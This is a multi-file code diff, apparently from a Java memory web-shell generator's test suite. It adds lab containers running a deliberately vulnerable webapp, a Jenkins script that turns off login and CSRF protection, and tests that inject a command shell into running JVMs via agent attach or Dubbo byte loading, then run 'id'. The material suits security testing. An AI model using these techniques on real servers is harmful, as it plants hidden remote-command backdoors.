return false;
}
@Override
public AsyncContext getAsyncContext() {
return null;
}
@Override
public DispatcherType getDispatcherType() {
return null;
}
public Response getResponse() {
return null;
}
}
@@ -1,196 +0,0 @@
package org.apache.catalina.connector;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;
import java.util.Collections;
import java.util.Locale;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class Response implements HttpServletResponse {
@Override
public void addCookie(Cookie cookie) {
}
@Override
public boolean containsHeader(String name) {
return false;
}
@Override
public String encodeURL(String url) {
return "";
}
@Override
public String encodeRedirectURL(String url) {
return "";
}
@Override
public String encodeUrl(String url) {
return "";
}
@Override
public String encodeRedirectUrl(String url) {
return "";
}
@Override
public void sendError(int sc, String msg) throws IOException {
}
@Override
public void sendError(int sc) throws IOException {
}
@Override
public void sendRedirect(String location) throws IOException {
}
@Override
public void setDateHeader(String name, long date) {
}
@Override
public void addDateHeader(String name, long date) {
}
@Override
public void setHeader(String name, String value) {
}
@Override
public void addHeader(String name, String value) {
}
@Override
public void setIntHeader(String name, int value) {
}
@Override
public void addIntHeader(String name, int value) {
}
@Override
public void setStatus(int sc) {
}
@Override
public void setStatus(int sc, String sm) {
}
@Override
public int getStatus() {
return 0;
}
@Override
public String getHeader(String name) {
return "";
}
@Override
public Collection<String> getHeaders(String name) {
return Collections.emptyList();
}
@Override
public Collection<String> getHeaderNames() {
return Collections.emptyList();
}
@Override
public String getCharacterEncoding() {
return "";
}
@Override
public String getContentType() {
return "";
}
@Override
public ServletOutputStream getOutputStream() throws IOException {
return null;
}
@Override
public PrintWriter getWriter() throws IOException {
return null;
}
@Override
public void setCharacterEncoding(String charset) {
}
@Override
public void setContentLength(int len) {
}
@Override
public void setContentType(String type) {
}
@Override
public void setBufferSize(int size) {
}
@Override
public int getBufferSize() {
return 0;
}
@Override
public void flushBuffer() throws IOException {
}
@Override
public void resetBuffer() {
}
@Override
public boolean isCommitted() {
return false;
}
@Override
public void reset() {
}
@Override
public void setLocale(Locale loc) {
}
@Override
public Locale getLocale() {
return null;
}
}
@@ -1,8 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Adapter {
}
@@ -1,8 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface Processor {
}
@@ -1,11 +0,0 @@
package org.apache.coyote;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class Request {
public Object getNote(int id) {
return null;
}
}
@@ -1,22 +0,0 @@
package org.apache.coyote;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled);
public byte[] getAlpnIdentifier();
public String getAlpnName();
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
public boolean accept(Request request);
}
@@ -1,8 +0,0 @@
package org.apache.coyote.http11.upgrade;
/**
* @author ReaJason
* @since 2025/12/6
*/
public interface InternalHttpUpgradeHandler {
}
@@ -1,8 +0,0 @@
package org.apache.tomcat.util.net;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class SocketWrapperBase<E> {
}
+18 -12
View File
@@ -1,5 +1,5 @@
[versions] [versions]
asm = "9.9.1" asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2" bcel = "5.2"
javax-servlet-api = "3.0.1" javax-servlet-api = "3.0.1"
@@ -11,33 +11,39 @@ spring-webflux = "5.3.24"
reactor-netty = "1.1.25" reactor-netty = "1.1.25"
jackson = "2.19.0" jackson = "2.19.0"
jetbrains-annotations = "26.0.2" jetbrains-annotations = "26.0.2"
alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0" mockito = "5.21.0"
hamcrest = "3.0" hamcrest = "3.0"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0" junit-pioneer = "2.3.0"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries] [libraries]
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" } asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" } jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"} jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"} jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -68,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins] [plugins]
lombok = { id = "io.freefair.lombok", version = "9.2.0" } lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
shadow = { id = "com.gradleup.shadow", version = "9.3.1"} shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
+59 -3
View File
@@ -7,6 +7,9 @@ plugins {
group = "io.github.reajason" group = "io.github.reajason"
version = rootProject.version version = rootProject.version
evaluationDependsOn(":vul:vul-dubbo")
evaluationDependsOn(":tools:command")
idea { idea {
module { module {
excludeDirs.add(file("src/main")) excludeDirs.add(file("src/main"))
@@ -36,8 +39,41 @@ dependencies {
} }
} }
tasks.test { val dubboProviderProject = project(":vul:vul-dubbo")
useJUnitPlatform() val dubboCommandProject = project(":tools:command")
fun dubboProviderJar(taskName: String): Provider<String> {
return dubboProviderProject.tasks.named<Jar>(taskName).flatMap { task ->
task.archiveFile.map { it.asFile.absolutePath }
}
}
fun dubboClientClasspath(clientKind: String): Provider<String> {
return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map {
it.asFile.readText()
}
}
fun Test.configureDubboSystemProperties() {
dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath")
val systemProperties = mapOf(
"dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"),
"dubbo.apache.client.classpath" to dubboClientClasspath("apache"),
"dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"),
"dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"),
"dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"),
"dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"),
"dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"),
"dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar")
)
doFirst {
systemProperties.forEach { (key, value) ->
systemProperty(key, value.get())
}
}
}
fun Test.configureIntegrationJvm() {
jvmArgs( jvmArgs(
"--add-opens=java.base/java.util=ALL-UNNAMED", "--add-opens=java.base/java.util=ALL-UNNAMED",
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED", "--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
@@ -46,4 +82,24 @@ tasks.test {
testLogging { testLogging {
events("passed", "skipped", "failed") events("passed", "skipped", "failed")
} }
} }
tasks.test {
useJUnitPlatform {
excludeTags("dubbo-container")
}
configureIntegrationJvm()
}
tasks.register<Test>("dubboContainerTest") {
group = "verification"
description = "Runs DubboService provider/client integration tests."
testClassesDirs = sourceSets.test.get().output.classesDirs
classpath = sourceSets.test.get().runtimeClasspath
useJUnitPlatform {
includeTags("dubbo-container")
}
dependsOn("testClasses")
configureDubboSystemProperties()
configureIntegrationJvm()
}
@@ -0,0 +1,10 @@
services:
target:
image: reajason/geronimo:2.2.1-jetty7
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -0,0 +1,7 @@
services:
target:
image: reajason/geronimo:2.2.1-tomcat6
ports:
- "8080:8080"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -0,0 +1,11 @@
services:
jetty716:
image: reajason/jetty:7.1.6-jdk6
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../asserts/agent/jattach-linux:/opt/jattach
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -2,6 +2,8 @@ services:
was700: was700:
image: reajason/websphere:7.0.0.21 image: reajason/websphere:7.0.0.21
container_name: was700 container_name: was700
environment:
JAVA_OPTS: -Xshareclasses:none
ports: ports:
- "9080:9080" - "9080:9080"
- "9060:9060" - "9060:9060"
@@ -0,0 +1,12 @@
services:
was905:
image: reajason/websphere:9.0.5.17
container_name: was905
ports:
- "9080:9080"
- "9060:9060"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
@@ -0,0 +1,13 @@
import jenkins.model.*
import hudson.security.*
import jenkins.security.s2m.AdminWhitelistRule
def instance = Jenkins.getInstance()
// 关闭登录认证
instance.disableSecurity()
// 关闭 CSRF 保护
instance.setCrumbIssuer(null)
instance.save()
@@ -16,7 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath()); public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
@@ -25,6 +25,7 @@ public class ContainerTool {
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath()); public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -503,4 +503,60 @@ public class ShellAssertion {
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
)); ));
} }
@SneakyThrows
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
String shellTool = ShellTool.Command;
Packers packer = Packers.AgentJarWithJREAttacher;
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
// Pack and copy to container
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/listProcessTest.jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
// Test 1: List processes (no args)
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
String listStdout = listResult.getStdout();
if (listStdout.contains("executable file not found")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
if (listStdout.contains("no such file or directory")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
}
}
log.info("list processes output:\n{}", listStdout);
System.out.println("list stderr: " + listResult.getStderr());
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
// Test 2: Attach all
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
String attachStdout = attachResult.getStdout();
if (attachStdout.contains("executable file not found")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
if (attachStdout.contains("no such file or directory")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
}
}
log.info("attach all output:\n{}", attachStdout);
System.out.println("attach all stderr: " + attachResult.getStderr());
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
// Test 3: Verify shell injection was successful
String paramName = ((CommandConfig) shellToolConfig).getParamName();
commandIsOk(shellUrl, shellType, paramName, "id");
}
} }
@@ -0,0 +1,36 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class AlibabaDubbo2612ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"alibaba-dubbo-2.6.12",
"alibaba",
"dubbo.alibaba.provider.jar",
"eclipse-temurin:8-jre",
20880,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20880),
new DubboProtocolTarget("hessian", 28080)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo27xContainerTest {
private static final String IMAGE = "eclipse-temurin:17-jdk";
private static final DubboProviderScenario APACHE_276 = apacheScenario(
"apache-dubbo-2.7.6",
"dubbo.apache276.provider.jar",
20885,
28086
);
private static final DubboProviderScenario APACHE_277 = apacheScenario(
"apache-dubbo-2.7.7",
"dubbo.apache277.provider.jar",
20886,
28088
);
private static final DubboProviderScenario APACHE_278 = apacheScenario(
"apache-dubbo-2.7.8",
"dubbo.apache278.provider.jar",
20887,
28090
);
private static final DubboProviderScenario APACHE_2723 = apacheScenario(
"apache-dubbo-2.7.23",
"dubbo.apache2723.provider.jar",
20881,
28082
);
@Container
static final GenericContainer<?> apache276 = DubboContainerFactory.buildProvider(APACHE_276);
@Container
static final GenericContainer<?> apache277 = DubboContainerFactory.buildProvider(APACHE_277);
@Container
static final GenericContainer<?> apache278 = DubboContainerFactory.buildProvider(APACHE_278);
@Container
static final GenericContainer<?> apache2723 = DubboContainerFactory.buildProvider(APACHE_2723);
static Stream<Arguments> scenarios() {
return Stream.of(
Arguments.of(apache276, APACHE_276),
Arguments.of(apache277, APACHE_277),
Arguments.of(apache278, APACHE_278),
Arguments.of(apache2723, APACHE_2723)
);
}
@ParameterizedTest(name = "{1}")
@MethodSource("scenarios")
void testDubboServiceRegistration(GenericContainer<?> container, DubboProviderScenario scenario) {
DubboServiceAssertion.assertCommandService(container, scenario);
}
private static DubboProviderScenario apacheScenario(String name, String providerJarProperty, int dubboPort, int hessianPort) {
return new DubboProviderScenario(
name,
"apache",
providerJarProperty,
IMAGE,
dubboPort,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", dubboPort),
new DubboProtocolTarget("hessian", hessianPort)
)
);
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
@Testcontainers
@Tag("dubbo-container")
class ApacheDubbo336ContainerTest {
private static final DubboProviderScenario SCENARIO = new DubboProviderScenario(
"apache-dubbo-3.3.6",
"apache",
"dubbo.apache336.provider.jar",
"eclipse-temurin:17-jdk",
20882,
Opcodes.V1_8,
List.of(
new DubboProtocolTarget("dubbo", 20882),
new DubboProtocolTarget("hessian", 28084),
new DubboProtocolTarget("tri", 50051)
)
);
@Container
static final GenericContainer<?> container = DubboContainerFactory.buildProvider(SCENARIO);
@Test
void testDubboServiceRegistration() {
DubboServiceAssertion.assertCommandService(container, SCENARIO);
}
}
@@ -0,0 +1,130 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
final class DubboClientRunner {
private DubboClientRunner() {
}
static String loadBytes(String clientKind, String url, String base64) {
return run(clientKind, "load-bytes", url, base64);
}
static String runCommand(String clientKind, String url, String interfaceName, String command) {
return run(clientKind, "run-command", url, interfaceName, command);
}
@SneakyThrows
private static String run(String clientKind, String... args) {
List<String> command = new ArrayList<String>();
String javaExecutable = javaExecutable(clientKind);
command.add(javaExecutable);
if (supportsAddOpens(javaExecutable)) {
command.add("--add-opens=java.base/java.lang=ALL-UNNAMED");
command.add("--add-opens=java.base/java.math=ALL-UNNAMED");
}
command.add("-cp");
command.add(clientClasspath(clientKind));
command.add(mainClass(clientKind));
for (String arg : args) {
command.add(arg);
}
Process process = new ProcessBuilder(command)
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
String rendered = output.toString(StandardCharsets.UTF_8).trim();
if (exitCode != 0) {
throw new IllegalStateException("Dubbo client failed with exit code " + exitCode + "\n" + rendered);
}
return rendered;
}
private static String clientClasspath(String clientKind) {
String property = System.getProperty("dubbo." + clientKind + ".client.classpath");
if (isBlank(property)) {
throw new IllegalStateException("missing dubbo." + clientKind + ".client.classpath system property");
}
return property;
}
private static String mainClass(String clientKind) {
if ("alibaba".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.alibaba.AlibabaDubboClient";
}
if ("apache".equals(clientKind)) {
return "io.github.reajason.dubbo.fixture.client.apache.ApacheDubboClient";
}
throw new IllegalArgumentException("unsupported client kind: " + clientKind);
}
private static String javaExecutable(String clientKind) {
if (!"alibaba".equals(clientKind)) {
return "java";
}
String java8Home = System.getenv("JAVA8_HOME");
if (isBlank(java8Home)) {
java8Home = System.getProperty("java8.home");
}
if (isBlank(java8Home)) {
return "java";
}
return java8Home + "/bin/java";
}
private static boolean supportsAddOpens(String javaExecutable) throws java.io.IOException, InterruptedException {
Process process = new ProcessBuilder(javaExecutable, "-version")
.redirectErrorStream(true)
.start();
ByteArrayOutputStream output = new ByteArrayOutputStream();
copy(process.getInputStream(), output);
int exitCode = process.waitFor();
if (exitCode != 0) {
return true;
}
return majorVersion(output.toString(StandardCharsets.UTF_8)) >= 9;
}
private static int majorVersion(String versionOutput) {
Matcher matcher = Pattern.compile("version \"([^\"]+)\"").matcher(versionOutput);
if (!matcher.find()) {
return 9;
}
String version = matcher.group(1);
if (version.startsWith("1.")) {
int dot = version.indexOf('.', 2);
return leadingInteger(dot < 0 ? version.substring(2) : version.substring(2, dot));
}
int dot = version.indexOf('.');
return leadingInteger(dot < 0 ? version : version.substring(0, dot));
}
private static int leadingInteger(String value) {
Matcher matcher = Pattern.compile("^(\\d+)").matcher(value);
return matcher.find() ? Integer.parseInt(matcher.group(1)) : 9;
}
private static boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private static void copy(InputStream inputStream, ByteArrayOutputStream outputStream) throws java.io.IOException {
byte[] buffer = new byte[4096];
int read;
while ((read = inputStream.read(buffer)) >= 0) {
outputStream.write(buffer, 0, read);
}
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.integration.memshell.dubbo;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Files;
import java.nio.file.Path;
import java.time.Duration;
final class DubboContainerFactory {
private DubboContainerFactory() {
}
static GenericContainer<?> buildProvider(DubboProviderScenario scenario) {
String jarPath = providerJarPath(scenario.providerJarProperty());
GenericContainer<?> container = new GenericContainer<>(scenario.imageName())
.withCopyFileToContainer(MountableFile.forHostPath(jarPath), "/app/app.jar")
.withWorkingDirectory("/app")
.withExposedPorts(exposedPorts(scenario))
.waitingFor(Wait.forLogMessage(".*Provider started.*", 1)
.withStartupTimeout(Duration.ofMinutes(3)));
if ("alibaba".equals(scenario.clientKind())) {
container.withCommand("java", "-jar", "/app/app.jar");
} else {
container.withCommand(
"java",
"--add-opens", "java.base/java.lang=ALL-UNNAMED",
"--add-opens", "java.base/java.math=ALL-UNNAMED",
"-jar", "/app/app.jar"
);
}
return container;
}
private static Integer[] exposedPorts(DubboProviderScenario scenario) {
return scenario.commandTargets().stream()
.map(DubboProtocolTarget::port)
.distinct()
.toArray(Integer[]::new);
}
private static String providerJarPath(String propertyName) {
String value = System.getProperty(propertyName);
if (value == null || value.trim().isEmpty()) {
throw new IllegalStateException("missing " + propertyName + " system property");
}
Path path = Path.of(value);
if (!Files.isRegularFile(path)) {
throw new IllegalStateException("provider jar does not exist: " + path);
}
return path.toAbsolutePath().toString();
}
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.integration.memshell.dubbo;
final class DubboProtocolTarget {
private final String protocol;
private final int port;
DubboProtocolTarget(String protocol, int port) {
this.protocol = protocol;
this.port = port;
}
String protocol() {
return protocol;
}
int port() {
return port;
}
String url(String host, String interfaceName) {
return protocol + "://" + host + ":" + port + "/" + interfaceName;
}
String url(String host, int mappedPort, String interfaceName) {
return protocol + "://" + host + ":" + mappedPort + "/" + interfaceName;
}
}
@@ -0,0 +1,66 @@
package com.reajason.javaweb.integration.memshell.dubbo;
